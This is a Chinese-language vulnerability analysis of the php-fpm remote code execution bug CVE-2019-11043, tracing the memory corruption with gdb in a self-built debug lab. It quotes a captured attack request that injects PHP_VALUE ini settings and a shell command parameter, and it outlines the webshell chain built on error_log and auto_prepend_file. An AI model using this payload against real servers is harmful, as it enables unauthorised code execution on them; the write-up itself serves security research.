Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >php-fpm Remote Code Execution 分析(CVE-2019-11043)

php-fpm Remote Code Execution 分析(CVE-2019-11043)

作者头像
ChaMd5安全团队
发布于 2019-11-01 00:51:29
发布于 2019-11-01 00:51:29
78000
代码可运行
举报
文章被收录于专栏:ChaMd5安全团队ChaMd5安全团队
运行总次数:0
代码可运行

漏洞简介

国外安全研究员 Andrew Danau发现向服务器请求的URL中包含%0a 符号时,服务返回异常,疑似存在漏洞。

Nginx+php-fpm的环境中,若Nginx上的fastcgi_split_path_info指令配置不当,在处理带包含%0a的URL时会导致正则匹配失效从而PATH_INFO的结果为空。

当Nginx将包含PATH_INFO为空的fastcgi传递给后端php-fpm时,php-fpm接受处理的过程存在逻辑问题,通过精心构造恶意请求可以对php-fpm进行内存污染,进一步可以复写内存并修改php-fpm配置,实现远程代码执行。

复现环境

自己搭建的方便调试,推荐

PHP

安装调试工具gdb

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
apt install gdb

下载php源码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wget https://www.php.net/distributions/php-7.1.0.tar.gz

然后对./configure 的配置如下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
./configure  --prefix=/root/php7.1.0 --enable-phpdbg-debug --enable-debug --enable-fpm CFLAGS="-g3 -gdwarf-4"

这里只安装必要的debug模块+fpm模块,其他模块视需求安装。

CFLAGS="-g3 -gdwarf-4"是对编译参数进行额外配置,关闭所有的编译优化机制,产生 gdb所必要的符号信息(符号表),并设置dwarf调试信息格式。PHP内核中定义了很多宏,gdb调试中可以通过macro expand xxxx命令比较方便的展开宏。

编译安装php

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
make && make install

bin目录下包含常用的php命令行解释器

sbin目录下包含fpm,还需要运行的配置文件。

  • 指定fpm的配置文件,从编译后的目录复制php-fpm.conf.default并重命名为php-fpm.conf
  • 指定php的配置文件,从源码目录中复制php.ini-development并重命名为php.ini

自行配置php.ini,这里主要配置php-fpm.conf

php-fpm为多进程模型,一个master进程,多个worker进程。

master进程负责管理调度,worker进程负责处理客户端(nginx)的请求。

master进程对work进程管理一共有三种模式:

  • ondemand,按需模式,当有请求时才会启动worker
  • static,静态模式,启动采用固定大小数量的worker
  • dynamic,动态模式,初始化一些worker,运行过程中动态调整worker数量

让fpm的工作模式为static,并且work进程只有一个,方便进行调试,设置配置文件如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pm = static
; The number of child processes to be created when pm is set to 'static' and the; maximum number of child processes when pm is set to 'dynamic' or 'ondemand'.; This value sets the limit on the number of simultaneous requests that will be; served. Equivalent to the ApacheMaxClients directive with mpm_prefork.; Equivalent to the PHP_FCGI_CHILDREN environment variable in the original PHP; CGI. The below defaults are based on a server without much resources. Don't; forget to tweak pm.* to fit your needs.; Note: Used when pm is set to 'static', 'dynamic' or 'ondemand'; Note: This value is mandatory.pm.max_children = 1
; The number of child processes created on startup.; Note: Used only when pm is set to 'dynamic'; Default Value: min_spare_servers + (max_spare_servers - min_spare_servers) / 2pm.start_servers = 1
; The desired minimum number of idle server processes.; Note: Used only when pm is set to 'dynamic'; Note: Mandatory when pm is set to 'dynamic'pm.min_spare_servers = 1
; The desired maximum number of idle server processes.; Note: Used only when pm is set to 'dynamic'; Note: Mandatory when pm is set to 'dynamic'pm.max_spare_servers = 1

运行fpm

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
./php-fpm -c php.ini -y php-fpm.conf

ps可以发现work进程如期只启动一个:

Nginx

apt就行,比较关键的配置文件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    location ~ [^/]\.php(/|$) {        fastcgi_split_path_info ^(.+?\.php)(/.*)$;        include fastcgi_params;
        fastcgi_param PATH_INFO       $fastcgi_path_info;        fastcgi_index index.php;        fastcgi_param  REDIRECT_STATUS    200;        fastcgi_param  SCRIPT_FILENAME /var/www/html$fastcgi_script_name;        fastcgi_param  DOCUMENT_ROOT /var/www/html;        fastcgi_pass 127.0.0.1:9000;    }

EXP

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
go get -v && go build

要是嫌麻烦也可以直接草P老板作业,很方便

https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

内核分析

攻击思路

因为不会go语言,因此没有研究exp,通过Wireshark抓包可以发现关键的攻击数据包如下:

分析http请求,实现远程代码执行的方法很容易猜测和理解:

通过PATH_INFO为空的fastcgi多次修改php-fpm的ini配置选项,设置error_log的地址为/tmp/a,并将一句话木马写入,然后设置include_path等,再通过auto_prepend_file包含完成远程代码执行。

修改php-fpm的ini就是漏洞的关键,选一条靠后的成型的http请求进行测试和验证:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
GET /test.php/PHP_VALUE%0Aerror_reporting=9;;;;;;?a=/bin/sh+-c+'which+which'&QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1Host: 172.16.231.158User-Agent: Mozilla/5.0D-Pisos: 8========================================================================DEbut: mamku tvoyu

使用phpinfo查看结果,error_reporting已经被修改。

fpm中从fastcgi中解析处理ini的源码位置如下

sapi/fpm/fpm/fpm_main.c

通过FCGI_GETENV获取request中存储在PHP_VALUE中的ini配置,然后通过zend_parse_ini_string将配置应用ini。

发送恶意http请求,使用GDB动态跟踪,发现request已经被污染,会解析恶意ini。

这里获取服务器权限的方式和php-fpm未授权访问的方式相似,都是fastcgi中的PHP_VALUE修改php-fpm的ini,但是php-fpm未授权访问是发送包含PHP_VALUE的fastcgi请求,而本漏洞则是fpm处理恶意fastcgi请求逻辑错误导致被覆盖为PHP_VALUE

fcgi_accept_request

下面从头分析修改的error_reporting的http请求

main/fastcgi.c

fcgi_accept_request函数中通过accept函数接受来自客户端的socket连接,并赋给req->fd

然后通过fcgi_read_request读取解析整个fastcgi请求,存储在req

通过外层while循环,不停地调用fcgi_accept_request函数,接受连接并读取请求。

equest变量包含fastcgi请求的信息,结构如下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pwndbg> p * request$4 = {  listen_socket = 0,  tcp = 0,  fd = 3,  id = 1,  keep = 0,  nodelay = 0,  closed = 0,  in_len = 0,  in_pad = 0,  out_hdr = 0x0,  out_pos = 0x56305ff048d8 "\001\006",  out_buf = "\001\006\000\001\000H\000\000X-Powered-By: PHP/7.1.0\r\nContent-type: text/html; charset=UTF-8\r\n\r\nHello\001\003\000\001\000\b", '\000' <repeats 8105 times>,  reserved = '\000' <repeats 15 times>,  hook = {    on_accept = 0x56305ebef54a <fpm_request_accepting>,    on_read = 0x56305ebef624 <fpm_request_reading_headers>,    on_close = 0x56305ebefc43 <fpm_request_finished>  },  has_env = 1,  env = {    hash_table = {0x0, 0x56305ff08600, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff087b0, 0x56305ff08a50, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff086f0, 0x0, 0x0, 0x0, 0x56305ff089c0, 0x0, 0x0, 0x0, 0x56305ff08840, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08780, 0x0, 0x56305ff08720, 0x56305ff08750, 0x0 <repeats 18 times>, 0x56305ff088a0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff086c0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08990, 0x56305ff087e0, 0x56305ff08930, 0x0, 0x56305ff089f0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08960, 0x56305ff08630, 0x0, 0x0, 0x56305ff08900, 0x0 <repeats 14 times>, 0x56305ff08660, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08a80, 0x0, 0x56305ff088d0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08690, 0x0 <repeats 14 times>, 0x56305ff08a20},    list = 0x56305ff08a80,    buckets = 0x56305ff085f0,    data = 0x56305ff09e10  }}

同时request存到全局变量,SG(server_context)中,宏定义如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# define SG(v) (sapi_globals.v)extern SAPI_API sapi_globals_struct sapi_globals;

init_request_info

进入init_request_info函数:

首先从SG(server_context)中取出request,然后通过FCGI_GETENV从request更多的fastcgi请求的信息。

FCGI_GETENV宏如下

调用fcgi_quick_getenv函数,其中FCGI_HASH_FUNC则是根据信息名称计算hash

继续调用fcgi_hash_get函数,此时传入了重要的&req->env

通过hash_value & FCGI_HASH_TABLE_MASK与运算的到索引idx,FCGI_HASH_TABLE_MASK宏如下

然后通过h->hash_table[idx]的元素指针,也就是request->env->hash_table取出信息,体结构如下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pwndbg> p request.env.hash_table$5 = {0x0, 0x56305ff08600, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff087b0, 0x56305ff08a50, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff086f0, 0x0, 0x0, 0x0, 0x56305ff089c0, 0x0, 0x0, 0x0, 0x56305ff08840, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08780, 0x0, 0x56305ff08720, 0x56305ff08750, 0x0 <repeats 18 times>, 0x56305ff088a0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff086c0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08990, 0x56305ff087e0, 0x56305ff08930, 0x0, 0x56305ff089f0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08960, 0x56305ff08630, 0x0, 0x0, 0x56305ff08900, 0x0 <repeats 14 times>, 0x56305ff08660, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08a80, 0x0, 0x56305ff088d0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08690, 0x0 <repeats 14 times>, 0x56305ff08a20}pwndbg> p request.env.hash_table[1]$6 = (fcgi_hash_bucket *) 0x56305ff08600pwndbg> p * request.env.hash_table[1]$7 = {  hash_value = 1793,  var_len = 9,  var = 0x56305ff06d48 "FCGI_ROLE",  val_len = 9,  val = 0x56305ff06d52 "RESPONDER",  next = 0x0,  list_next = 0x0}

这里有比较关键的char *env_path_info = FCGI_GETENV(request, "PATH_INFO");

env_path_info为指针,不为空,指向的值为空。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pwndbg> p  env_path_info$8 = 0x56305ff09e32 ""

继续跟进到重要的path_info变量部分

path_info = env_path_info + pilen - slen ,跟踪每个涉及的变量

env_path_info指向空字符串,所以pilen为0。

slen的计算稍微复杂一些,计算的是xxx.php?之间内容的相差部分/PHP_VALUE%0Aerror_reporting=9;;;;;;的长度

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
env_script_filename = FCGI_GETENV(request, "SCRIPT_FILENAME");script_path_translated = env_script_filename;script_path_translated_len = strlen(script_path_translated);
pt = estrndup(script_path_translated, script_path_translated_len);
len = script_path_translated_len;slen = len - ptlen;

具体信息如下,slen的长度为34,此时path_info的值是env_path_info的指针向前偏移34位。

两个字符串相差的内容和长度可以任意构造,path_info指针根据偏移的到,因此path_info指向的位置也是可控。

内存覆盖

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
path_info[0] = 0;if (!orig_script_name ||    strcmp(orig_script_name, env_path_info) != 0) {  if (orig_script_name) {    FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);  }

path_info指向的前两个字节被改为00,然后使用FCGI_PUTENV完成对request对象的污染。

待写入的orig_script_name的值为/test.php/PHP_VALUE\nerror_reporting=9;;;;;;

更改前:

更改后:

这里还需要关注request.env.data.pos变化,slen的长度为34,是为了让path_info指向request.env.data.pos,能够修改最低字节为00

该变量具体作用跟进FCGI_PUTENV即可一目了然。

调用fcgiquickputenv函数,参数相比fcgiquickgetenv多了value,其余参数计算相同。

将request.env等参数传递给fcgihashset,计算idx并得到地址p

接着调用fcgi_hash_strndup函数,根据request.env.data.pos的值确定/test.php/PHP_VALUE\nerror_reporting=9;;;;;;的写入位置

写入的区域是根据request.env.data.data作为起始,再根据写入长度数据重新设置request.env.data.pos的值确定下次写入位置。

memcpy写入前:

memcpy写入后:

ini

继续跟进到已经提过的ini获取部分,发现根据PHP_VALUE字符串得到的索引为105。

在内存污染前查看该部分,发现已经通过payload占位。

污染后已经变为恶意ini。

总结

通过精心构造url、参数、header,使得path_info首先指向&request.env.data.pos附近,再利用slen进一步精准指向&request.env.data.pos,通过path_info[0]修改request.env.data.pos,使得FCGI_PUTENV写入特定位置,污染为PHP_VALUE,修改fpm的ini。

写的比较仓促,如有错误欢迎指正。

参考

https://segmentfault.com/a/1190000016868502#articleHeader6

https://bugs.php.net/bug.php?id=78599

https://github.com/neex/phuip-fpizdam

https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/

http://www.rai4over.cn/2019/06/11/PHP%E5%86%85%E6%A0%B8%E5%88%86%E6%9E%90-FPM%E5%92%8Cdisable-function%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-10-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
PHP-FPM RCE (CVE-2019-11043)
安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。当 Nginx 将包含 PATH_INFO 为空的参数通过 FastCGI 传递给 PHP-FPM 时,PHP-FPM 接收处理的过程中存在逻辑问题。通过精心构造恶意请求可以对 PHP-FPM 进行内存污染,进一步可以复写内存并修改 PHP-FPM 配置,实现远程代码执行。
wywwzjj
2023/05/09
1K0
PHP-FPM RCE (CVE-2019-11043)
LAMP-PHP-fpm服务器配置
yum -y groupinstall "Desktop Platform Development"
星哥玩云
2022/07/01
1.2K0
LAMP-PHP-fpm服务器配置
PHP-fpm 远程代码执行漏洞(CVE-2019-11043)分析
国外安全研究员 Andrew Danau在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。
知道创宇云安全
2019/10/28
1.2K0
PHP-fpm 远程代码执行漏洞(CVE-2019-11043)分析
PHP-FPM 性能配置优化
php-fpm 全称是 PHP FastCGI Process Manager 的简称,从名字可得知,是一个 FastCGI 的管理器。
南山竹
2024/06/12
1810
PHP-FPM 性能配置优化
LNMP架构介绍、安装PHP(php-fpm)
CGI全称是“公共网关接口”(Common Gateway Interface),HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具,其程序须运行在网络服务器上。 CGI可以用任何一种语言编写,只要这种语言具有标准输入、输出和环境变量。如php,perl,tcl等。
阿dai学长
2019/04/03
1.9K0
fpm源码阅读(1)
FastCGI是Web服务器(如:Nginx、Apache)和处理程序之间的一种通信协议,它是与Http类似的一种应用层通信协议,注意:它只是一种协议!
golangLeetcode
2022/08/02
4860
Centos7 安装配置 PHP7 Nginx 并部署开源后台系统Fasadmin
1、查看是否安装过Nginx rpm -qa|grep -E "nginx" 2、安装Nginx前需要提前安装以下这些依赖 2.1、查看gcc版本 gcc -v 若有内容输出说明已安装了gcc。否则,需使用以下命令进行安装。 yum -y install gcc 2.2、pcre、pcre-devel安装 yum install -y pcre pcre-devel 2.3、zlib安装 yum install -y zlib zlib-devel 2.4、安装openssl yum ins
游离于山间之上的Java爱好者
2022/09/21
4850
Centos7 安装配置 PHP7 Nginx 并部署开源后台系统Fasadmin
PHP-FPM
PHP-FPM提供了更好的PHP进程管理方式,可以有效控制内存和进程、可以平滑重载PHP配置。
友儿
2022/09/11
9140
CVE-2019-11043: PHP 7 RCE漏洞分析
研究人员在PHP 7中找出有个远程代码执行(RCE)漏洞,该漏洞CVE编号为CVE-2019-11043。攻击者利用该漏洞只需要访问通过精心伪造的URL就可以在服务器上运行命令。
猿哥
2019/10/29
2.1K0
LNMP之Php的安装配置
此配置的编译参数是: ./configure --prefix=/opt/php7.2.3 --with-openssl --with-zlib --with-curl --enable-ftp --with-gd --with-jpeg-dir --with-png-dir --with-freetype-dir --enable-mbstring --with-libxml-dir --enable-soap --enable-sockets --with-xmlrpc --with-iconv-dir
用户1173509
2018/03/28
2K0
LNMP之Php的安装配置
CVE-2019-11043PHP-FPM在Nginx特定配置下远程代码执行漏洞复现
9月26日,PHP官方发布漏洞通告,提到Nginx与php-fpm服务器上存在的一处高危漏洞,由于Nginx的fastcgi_split_path_info模块在处理带 %0a 的请求时,对换行符 \n 处置不当使得将PATH_INFO值置为空,从而导致可以通过FCGI_PUTENV与PHP_VALUE相结合,修改当前的php-fpm进程中的php配置。在特殊构造的配置生效的情况下可以触发任意代码执行。目前开源社区已有漏洞Poc公开。
墙角睡大觉
2019/10/30
1.3K0
CVE-2019-11043PHP-FPM在Nginx特定配置下远程代码执行漏洞复现
PHP优化设置
1.查询php配置文件 find / -name php.ini 可以输出如下: /etc/php.ini 配置如下: ; Start a new pool named 'www'. ; the variable $pool can be used in any directive and will be replaced by the ; pool name ('www' here) [www] ; Per pool prefix ; It only applies on the following
Zach
2019/12/30
5.9K0
LNMP环境下Nginx中php-fpm的配置文件讲解
一、nginx配置文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 user nobody nobody; worker_processes 2; error_log /usr/local/nginx/logs/nginx_error.log crit; pid /usr/local/nginx/
老七Linux
2018/05/09
2K1
linux学习第四十八篇:php-fpm的pool,php-fpm慢执行日志,定义open_basedir,php-fpm进程管理
php-fpm的pool Nginx可以配置多个虚拟主机,php-fpm同样也支持配置多个pool,每一个pool可以监听一个端口,也可以监听一个socket。 vim /usr/local/php/etc/php-fpm.conf 在[global]部分增加: include = etc/php-fpm.d/*.conf 创建php-fpm.d目录: mkdir /usr/local/php/etc/php-fpm.d 进入目录: cd /usr/local/php/etc/php-fp
用户1215343
2018/02/05
7440
linux学习第四十八篇:php-fpm的pool,php-fpm慢执行日志,定义open_basedir,php-fpm进程管理
【PHP7源码分析】PHP中$_POST揭秘
前几天的工作中,需要通过curl做一次接口测试。让我意外的是,通过$_POST竟然无法获取到Content-Type是application/json的http请求的body参数。 查了下php官网对$_POST的描述,的确是这样。 后来通过file_get_contents("php://input")获取到了原始的http请求body,然后对参数进行json_decode解决了接口测试的问题。事后,脑子里面冒出了挺多问题:
桶哥
2019/06/04
6.3K0
【PHP7源码分析】PHP中$_POST揭秘
12.21 php-fpm的pool
php-fpm的pool目录概要 vim /usr/local/php/etc/php-fpm.conf//在[global]部分增加 include = etc/php-fpm.d/*.conf mkdir /usr/local/php/etc/php-fpm.d/ cd /usr/local/php/etc/php-fpm.d/ vim www.conf //内容如下 [www] listen = /tmp/www.sock listen.mode=666 user = php-fpm group =
运维小白
2018/02/06
1.5K0
[漏洞预警]PHP-FPM在Nginx的特定环境下的任意代码执行漏洞
2019年10月22日在国外上某技术大牛公开了在PHP-FPM中新修补的RCE。
洛米唯熊
2019/10/25
1.2K0
[漏洞预警]PHP-FPM在Nginx的特定环境下的任意代码执行漏洞
php-fpm在nginx特定环境下的任意代码执行漏洞(CVE-2019-11043)
在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送%0a符号时,服务返回异常,疑似存在漏洞。
天钧
2019/11/11
8721
php-fpm在nginx特定环境下的任意代码执行漏洞(CVE-2019-11043)
Web安全 | Fastcgi 协议分析与 PHP-FPM 攻击方法
本文总结了一下 Fastcgi 原理以及攻击方法,若有不当之处还望各位大佬多多指教。
HACK学习
2021/06/24
2.5K0
Web安全 | Fastcgi 协议分析与 PHP-FPM 攻击方法
学习笔记0518----nginx和php-fpm配置
负载均衡在服务端开发中算是一个比较重要的特性。因为Nginx除了作为常规的Web服务器外,还会被大规模的用于反向代理前端,因为Nginx的异步框架可以处理很大的并发请求,把这些并发请求hold住之后就可以分发给后台服务端(backend servers,也叫做服务池, 后面简称backend)来做复杂的计算、处理和响应,这种模式的好处是相当多的:隐藏业务主机更安全,节约了公网IP地址,并且在业务量增加的时候可以方便地扩容后台服务器。
嘻哈记
2020/11/24
1.8K0
相关推荐
PHP-FPM RCE (CVE-2019-11043)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验